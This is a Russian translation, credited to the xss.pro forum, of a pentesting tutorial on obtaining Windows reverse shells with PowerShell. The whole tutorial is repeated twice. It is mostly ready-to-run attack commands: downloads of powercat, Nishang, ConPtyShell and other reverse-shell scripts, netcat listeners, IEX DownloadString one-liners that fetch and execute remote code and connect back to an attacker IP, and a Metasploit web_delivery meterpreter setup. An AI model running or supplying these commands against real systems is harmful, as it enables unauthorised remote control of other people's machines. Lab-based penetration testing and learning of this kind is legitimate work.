Сегодня мы узнаем, как получить реверс-шелл с помощью скриптов Powershell на платформе Windows
Требования:
- Kali Linux
- Windows Machine
Powercat
Powercat - это базовая сетевая утилита для выполнения сетевых коммуникационных операций с низким уровнем привилегий. Powercat - это программа, которая предлагает возможности Netcat для всех текущих версий Microsoft Windows. Она обычно использует собственные компоненты PowerShell версии 2.
Нам нужно перейти на сайт, указанный ниже. Пользователи могут скачать файла, потому что это веб-сайт Github.
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Давайте перенесем этот файл с помощью Python, мы должны запустить сервер Python.
python -m SimpleHTTPServer 80
Пользователи должны запустить прослушиватель Netcat на порту 4444 для получения реверс-шелла с помощью этой команды
nc -vlp 4444.
Итак, теперь нам нужно загрузить нашу машину с Windows и запустить команду PowerShell в командной строке (CMD). Обратите внимание, что IP-адрес должен быть вашим локальным IP-адресом (IP-адресом Kali).
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"
Вы получите реверс-шелл в прослушивателе Netcat после выполнения команды, можете использовать команду whoami, чтобы увидеть, получим ли мы правильную оболочку. Она сообщит вам тип учетной записи пользователя, вошедшего в систему.
Вызов-PowerShellTcp (Nishang)
Этот сценарий PowerShell можно использовать для реверса или биндинга интерактивной оболочки PowerShell. Чтобы связать сценарий с портом, нам нужно использовать прослушиватель Netcat.
Этот веб-сайт, который упоминается ниже, следует посетить.
Поскольку это веб-сайт Github, вам просто следует скачать файд по ссылке.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
Через wget скачивается скрипт, теперь надо передать этот файл через python сервер.
python -m SimpleHTTPServer 80
Чтобы получить обратное соединение, мы должны сначала запустить прослушиватель Netcat на порту 4444.
nc -vlp 4444
Пользователи должны запустить следующую команду в командной строке компьютера с Windows. Это поможет в выполнении файла PowerShell.
Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.3 -Port 4444
Один раз запустив скрипт, мы так же получим реверс-шелл в прослушивателе Netcat.
Используйте команду "whoami". Это сообщит вам тип учетной записи пользователя, вошедшего в систему.
ConptyShell
ConPtyShell — это интерактивная обратная оболочка сервера Windows. ConPtyShell преобразует вашу оболочку bash в удаленную оболочку PowerShell. CreatePseudoConsole() — это функция ConPtyShell.
Она создает псевдоконсоль и оболочку, к которой псевдоконсоль подключается с вводом/выводом.
Пользователям необходимо перейти на веб-сайт, указанный ниже.
Поскольку это веб-сайт Github, вы должны скачать файл по ссылке.
wget https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1
Пока запускаем ссылку, скрипт скачивается, теперь нам нужно передать этот файл через python sever.
python -m SimpleHTTPServer 80
Запустите прослушиватель Netcat на порту 4444 для получения реверс соединения.
stty raw -echo; (stty size; cat) | nc -lvnp 4444
Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это поможет в выполнении файла ConPtyShell.
Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell 192.168.1.3 4444
Мы видим, что псевдофункция создана, и мы получаем полностью интерактивную оболочку после использования команды.
mini-reverse.ps1
С помощью небольшого скрипта mini-reverse.ps1 мы получим реверс-шелл.
Этот веб-сайт, указанный ниже, необходимо посетить, и, поскольку это веб-сайт Github, и мы должны загрузить нужный насм файд.
wget https://gist.githubusercontent.com/...20c2fe263b8f7696b896c9984fcf/mini-reverse.ps1
Мы должны изучить код в скрипте и изменить указанный там IP-адрес на наш локальный IP-адрес (IP-адрес Kali).
Когда вы закончите вносить изменения, сохраните файл и запустите сервер Python.
python -m SimpleHTTPServer 80
Чтобы получить реверс соединение, нужно сначала запустить прослушиватель Netcat на порту 4444.
nc -nvlp 4444
Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это облегчит выполнение мини-реверс файла. Имейте в виду, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить обратную оболочку.
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/mini-reverse.ps1')
Получаем реверс оболочку в прослушивателе Netcat
Реверс TCP PowerShell
Теперь просто используйте сценарий PowerShell для связи с удаленным хостом. Вместо конвейеров процессов все оболочки в этой среде используют команду Invoke-Expression. Удаленный хост всегда имеет полный контроль над клиентом.
Нам нужно перейти на сайт, указанный ниже. Это веб-сайт Github, вы должны скачать следующий файл.
wget https://raw.githubusercontent.com/i...rse-tcp/master/src/powershell_reverse_tcp.ps1
Когда скрипт будет загружен, просто просмотрите его код и замените указанный там IP-адрес нашим локальным IP-адресом (IP-адресом Kali). После внесения изменений сохраните файл и запустите сервер Python.
python -m SimpleHTTPServer 80
После этого запустите прослушиватель Netcat на порту 9000 для получения реверс соединения.
nc -vlp 9000
Мы должны запустить следующую команду в командной строке компьютера с Windows. Это поможет нам запустить реверс файл tcp.ps1. Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить реверс оболочку.
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/powershell_reverse_tcp.ps1')
Как только команда будет выполнена, мы получим реверс оболочку.
Веб-деливери
Этот эксплойт использует Metasploit Framework, а целевыми операционными системами являются Windows и Linux.
Эта атака использует пейлоад.
Полезная нагрузка:
Полезные нагрузки — это вредоносные сценарии, которые злоумышленник использует для взаимодействия с целевой машиной для проведения атаки. В Metasploit файлы полезной нагрузки хранятся в модулях.
Исполняемая полезная нагрузка:
Пользователям следует запустить платформу Metasploit и выполнить поиск по запросу "web delivery".
Нам будет предоставлено два варианта полезной нагрузки, и мы должны выбрать тот, который содержит скрипт веб-доставки.
Т.е. это
exploit/multi/script/web delivery
Начните искать цели, используя "show targets,", и вы увидите около 5 целей, которые помогают сгенерировать код, чтобы был создан бэкдор. Затем выберите вторую цель и используйте команду
set target 2
и используйте приведенные ниже команды, чтобы установить полезную нагрузку и lhost, lport, а затем использовать ее.
set payload python/meterpreter/reverse_tcp
set lhost 192.168.1.13
set lport 8888
exploit
Код, который мы получаем после запуска скрипта, просто скопируйте скрипт и запустите его на нашей машине с Windows. После завершения выполнения переключите сеанс.
sessions 1
Вы получите оболочку метерпретера и с легкостью получите информацию об этой оболочке с помощью следующей команды.
sysinfo
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/powershell-for-pentester-windows-reverse-shell/
Требования:
- Kali Linux
- Windows Machine
Powercat
Powercat - это базовая сетевая утилита для выполнения сетевых коммуникационных операций с низким уровнем привилегий. Powercat - это программа, которая предлагает возможности Netcat для всех текущих версий Microsoft Windows. Она обычно использует собственные компоненты PowerShell версии 2.
Нам нужно перейти на сайт, указанный ниже. Пользователи могут скачать файла, потому что это веб-сайт Github.
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Давайте перенесем этот файл с помощью Python, мы должны запустить сервер Python.
python -m SimpleHTTPServer 80
Пользователи должны запустить прослушиватель Netcat на порту 4444 для получения реверс-шелла с помощью этой команды
nc -vlp 4444.
Итак, теперь нам нужно загрузить нашу машину с Windows и запустить команду PowerShell в командной строке (CMD). Обратите внимание, что IP-адрес должен быть вашим локальным IP-адресом (IP-адресом Kali).
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"
Вы получите реверс-шелл в прослушивателе Netcat после выполнения команды, можете использовать команду whoami, чтобы увидеть, получим ли мы правильную оболочку. Она сообщит вам тип учетной записи пользователя, вошедшего в систему.
Вызов-PowerShellTcp (Nishang)
Этот сценарий PowerShell можно использовать для реверса или биндинга интерактивной оболочки PowerShell. Чтобы связать сценарий с портом, нам нужно использовать прослушиватель Netcat.
Этот веб-сайт, который упоминается ниже, следует посетить.
Поскольку это веб-сайт Github, вам просто следует скачать файд по ссылке.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
Через wget скачивается скрипт, теперь надо передать этот файл через python сервер.
python -m SimpleHTTPServer 80
Чтобы получить обратное соединение, мы должны сначала запустить прослушиватель Netcat на порту 4444.
nc -vlp 4444
Пользователи должны запустить следующую команду в командной строке компьютера с Windows. Это поможет в выполнении файла PowerShell.
Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.3 -Port 4444
Один раз запустив скрипт, мы так же получим реверс-шелл в прослушивателе Netcat.
Используйте команду "whoami". Это сообщит вам тип учетной записи пользователя, вошедшего в систему.
ConptyShell
ConPtyShell — это интерактивная обратная оболочка сервера Windows. ConPtyShell преобразует вашу оболочку bash в удаленную оболочку PowerShell. CreatePseudoConsole() — это функция ConPtyShell.
Она создает псевдоконсоль и оболочку, к которой псевдоконсоль подключается с вводом/выводом.
Пользователям необходимо перейти на веб-сайт, указанный ниже.
Поскольку это веб-сайт Github, вы должны скачать файл по ссылке.
wget https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1
Пока запускаем ссылку, скрипт скачивается, теперь нам нужно передать этот файл через python sever.
python -m SimpleHTTPServer 80
Запустите прослушиватель Netcat на порту 4444 для получения реверс соединения.
stty raw -echo; (stty size; cat) | nc -lvnp 4444
Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это поможет в выполнении файла ConPtyShell.
Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali).
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell 192.168.1.3 4444
Мы видим, что псевдофункция создана, и мы получаем полностью интерактивную оболочку после использования команды.
mini-reverse.ps1
С помощью небольшого скрипта mini-reverse.ps1 мы получим реверс-шелл.
Этот веб-сайт, указанный ниже, необходимо посетить, и, поскольку это веб-сайт Github, и мы должны загрузить нужный насм файд.
wget https://gist.githubusercontent.com/...20c2fe263b8f7696b896c9984fcf/mini-reverse.ps1
Мы должны изучить код в скрипте и изменить указанный там IP-адрес на наш локальный IP-адрес (IP-адрес Kali).
Когда вы закончите вносить изменения, сохраните файл и запустите сервер Python.
python -m SimpleHTTPServer 80
Чтобы получить реверс соединение, нужно сначала запустить прослушиватель Netcat на порту 4444.
nc -nvlp 4444
Пользователи должны ввести следующую команду в командную строку компьютера с Windows. Это облегчит выполнение мини-реверс файла. Имейте в виду, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить обратную оболочку.
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/mini-reverse.ps1')
Получаем реверс оболочку в прослушивателе Netcat
Реверс TCP PowerShell
Теперь просто используйте сценарий PowerShell для связи с удаленным хостом. Вместо конвейеров процессов все оболочки в этой среде используют команду Invoke-Expression. Удаленный хост всегда имеет полный контроль над клиентом.
Нам нужно перейти на сайт, указанный ниже. Это веб-сайт Github, вы должны скачать следующий файл.
wget https://raw.githubusercontent.com/i...rse-tcp/master/src/powershell_reverse_tcp.ps1
Когда скрипт будет загружен, просто просмотрите его код и замените указанный там IP-адрес нашим локальным IP-адресом (IP-адресом Kali). После внесения изменений сохраните файл и запустите сервер Python.
python -m SimpleHTTPServer 80
После этого запустите прослушиватель Netcat на порту 9000 для получения реверс соединения.
nc -vlp 9000
Мы должны запустить следующую команду в командной строке компьютера с Windows. Это поможет нам запустить реверс файл tcp.ps1. Помните, что IP-адрес должен быть вашим локальным IP-адресом (IP-адрес Kali). Команда поможет нам получить реверс оболочку.
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/powershell_reverse_tcp.ps1')
Как только команда будет выполнена, мы получим реверс оболочку.
Веб-деливери
Этот эксплойт использует Metasploit Framework, а целевыми операционными системами являются Windows и Linux.
Эта атака использует пейлоад.
Полезная нагрузка:
Полезные нагрузки — это вредоносные сценарии, которые злоумышленник использует для взаимодействия с целевой машиной для проведения атаки. В Metasploit файлы полезной нагрузки хранятся в модулях.
Исполняемая полезная нагрузка:
Пользователям следует запустить платформу Metasploit и выполнить поиск по запросу "web delivery".
Нам будет предоставлено два варианта полезной нагрузки, и мы должны выбрать тот, который содержит скрипт веб-доставки.
Т.е. это
exploit/multi/script/web delivery
Начните искать цели, используя "show targets,", и вы увидите около 5 целей, которые помогают сгенерировать код, чтобы был создан бэкдор. Затем выберите вторую цель и используйте команду
set target 2
и используйте приведенные ниже команды, чтобы установить полезную нагрузку и lhost, lport, а затем использовать ее.
set payload python/meterpreter/reverse_tcp
set lhost 192.168.1.13
set lport 8888
exploit
Код, который мы получаем после запуска скрипта, просто скопируйте скрипт и запустите его на нашей машине с Windows. После завершения выполнения переключите сеанс.
sessions 1
Вы получите оболочку метерпретера и с легкостью получите информацию об этой оболочке с помощью следующей команды.
sysinfo
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/powershell-for-pentester-windows-reverse-shell/